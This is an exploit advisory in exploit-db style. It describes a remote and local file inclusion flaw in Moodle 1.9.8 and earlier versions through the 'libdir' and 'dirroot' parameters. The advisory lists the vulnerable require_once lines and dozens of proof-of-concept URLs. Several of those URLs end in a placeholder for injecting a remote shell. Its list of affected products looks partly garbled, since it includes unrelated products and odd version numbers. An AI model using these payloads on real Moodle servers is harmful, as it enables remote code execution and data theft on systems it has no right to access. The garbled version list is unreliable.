########################################################

[+]Title:    Moodle 1.9.8+ ("libdir" , "dirroot") RFI Vulnerability Exploit
[+]TesTed On:  Version 1.9.8+ and Prior
[+]Download:  http://download.moodle.org/stable19/
[+]Discovered by: eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com    
 
    [!]Thank`s To: exploit-db team , JosS (hack0wn) , sp3x (securityreason) , r0073r & 0x1D (inj3ct0r) , [D]eal [C]yber and all my friends
 
########################################################

BACKGROUND :

Moodle is a Course Management System (CMS), also known as a Learning Management System (LMS) or a Virtual Learning Environment (VLE).
It is a Free web application that educators can use to create effective online learning sites.

***********************

-=[Vulnerability Description]=-

Moodle v.1.9.8+ is Prone to Remote File Include exploit.

Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.
This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).

Access Vector: Network exploitable
Access Complexity: High
Authentication: Not Required to exploit
Impact Type:Allows unauthorized disclosure of information

Remote:    Yes
Local:    Yes

-=[ Vulnerable / Affected ]=-

Moodle moodle 1.9.8+
Moodle moodle 1.9.x
Moodle moodle 1.8.x
Moodle moodle 1.7.7  and Prior
Moodle moodle 1.5.2  and Prior
Moodle moodle 1.4.3  and Prior
Moodle moodle 1.3.4  and Prior
Moodle moodle 1.2.1  and Prior
Moodle moodle 1.9     and Prior
Moodle moodle 1.7.7+
Moodle moodle 1.7
Moodle moodle 1.6.9+
Moodle moodle 1.6.1 +
Moodle moodle 1.18.2.3
Moodle moodle 1.18.2.2
RedHat Fedora 13
BEA Systems Weblogic Proxy Plugin 1.5.3 +
BEA Systems Weblogic Proxy Plugin 1.5.3
Moodle - Joomla Integration



-=[ Vuln C0de ]=-

1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.
This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).

2. No sanitize , not defined and No Login require for : 

<?***
require_once($CFG->libdir.'/formslib.php');
***?>

  (moodle/admin/uploaduser_form.php)
  (moodle/admin/uploadpicture_form.php)
  (moodle/blog/edit_form.php)
  (moodle/course/edit_form.php)
  (moodle/course/recent_form.php)
  (moodle/course/moodleform_mod.php)
  (moodle/course/reset_form.php)
  (moodle/course/delete_category_form.php)
  (moodle/course/request_form.php)
  (moodle/grade/edit/letter/edit_form.php)
  (moodle/grade/edit/outcome/edit_form.php)
  (moodle/grade/edit/scale/edit_form.php)
  (moodle/grade/edit/settings/form.php)
  (moodle/grade/edit/tree/category_form.php)
  (moodle/grade/edit/tree/outcomeitem_form.php)
  (moodle/grade/edit/tree/calculation_form.php)
  (moodle/grade/edit/tree/grade_form.php)
  (moodle/grade/export/grade_export_form.php)
  (moodle/grade/import/grade_import_form.php)
  (moodle/login/signup_form.php)
  (moodle/login/change_password_form.php)
  (moodle/login/restored_password_form.php)
  (moodle/mod/forum/post_form.php)
  (moodle/mod/glossary/comment_form.php)
  (moodle/notes/edit_form.php)
  (moodle/question/contextmove_form.php)
  (moodle/question/move_form.php)
  (moodle/question/category_form.php)
  (moodle/question/contextmoveq_form.php)
  (moodle/question/export_form.php)
  (moodle/question/import_form.php)

*********************** -=[P0C]=- ***********************

  http://127.0.0.1/moodle/admin/uploaduser_form.php?libdir=
  http://127.0.0.1/moodle/admin/uploadpicture_form.php?libdir=
  http://127.0.0.1/moodle/blog/edit_form.php
  http://127.0.0.1/moodle/course/edit_form.php
  http://127.0.0.1/moodle/course/recent_form.php
  http://127.0.0.1/moodle/course/moodleform_mod.php
  http://127.0.0.1/moodle/course/reset_form.php
  http://127.0.0.1/moodle/course/delete_category_form.php
  http://127.0.0.1/moodle/course/request_form.php
  http://127.0.0.1/moodle/grade/edit/letter/edit_form.php
  http://127.0.0.1/moodle/grade/edit/outcome/edit_form.php
  http://127.0.0.1/moodle/grade/edit/scale/edit_form.php
  http://127.0.0.1/moodle/grade/edit/settings/form.php
  http://127.0.0.1/moodle/grade/edit/tree/category_form.php
  http://127.0.0.1/moodle/grade/edit/tree/outcomeitem_form.php
  http://127.0.0.1/moodle/grade/edit/tree/calculation_form.php
  http://127.0.0.1/moodle/grade/edit/tree/grade_form.php
  http://127.0.0.1/moodle/grade/export/grade_export_form.php
  http://127.0.0.1/moodle/grade/import/grade_import_form.php
  http://127.0.0.1/moodle/login/signup_form.php
  http://127.0.0.1/moodle/login/change_password_form.php
  http://127.0.0.1/moodle/login/restored_password_form.php
  http://127.0.0.1/moodle/mod/forum/post_form.php
  http://127.0.0.1/moodle/mod/glossary/comment_form.php
  http://127.0.0.1/moodle/notes/edit_form.php
  http://127.0.0.1/moodle/question/contextmove_form.php
  http://127.0.0.1/moodle/question/move_form.php
  http://127.0.0.1/moodle/question/category_form.php
  http://127.0.0.1/moodle/question/contextmoveq_form.php
  http://127.0.0.1/moodle/question/export_form.php
  http://127.0.0.1/moodle/question/import_form.php

########################################################

-=[ Other Vuln C0de ]=-

[-] moodle/lib/textlib.class.php

  /// Required files
  require_once($CFG->libdir.'/typo3/class.t3lib_cs.php');  // line 28
  require_once($CFG->libdir.'/typo3/class.t3lib_div.php');  // line 29
 
*********************** -=[P0C]=- ***********************

  http://127.0.0.1/moodle/lib/textlib.class.php?libdir= [inj3ct0r shell]

########################################################
[-] moodle/group/group_form.php

  require_once($CFG->dirroot.'/lib/formslib.php');  // line 3

*********************** -=[P0C]=- ***********************

  http://127.0.0.1/moodle/group/group_form.php?dirroot= [inj3ct0r shell]

########################################################

-=[ Other Vuln C0de ]=-


[-] moodle/my/pagelib.php

  require_once($CFG->libdir.'/pagelib.php');  // line 3

*********************** -=[P0C]=- ***********************

  http://127.0.0.1/moodle/my/pagelib.php?libdir= [sh3ll inj3ct0r]

########################################################

-=[ Other Vuln C0de ]=-

[-] /moodle/tag/pagelib.php

  <?php

  require_once($CFG->libdir.'/pagelib.php');  // line 3
  require_once('lib.php');

*********************** -=[P0C]=- ***********************

  http://127.0.0.1/moodle/tag/pagelib.php?libdir= [inj3ct0r sh3ll]

########################################################

[-] moodle/course/editcategory_form.php

  require_once ($CFG->dirroot.'/course/moodleform_mod.php');  // line 2

*********************** -=[P0C]=- ***********************

  http://127.0.0.1/moodle/course/editcategory_form.php?dirroot= [sh3ll inj3ct0r]

*********************** etc, etc, etc, *********************** 

####################=[E0F]=####################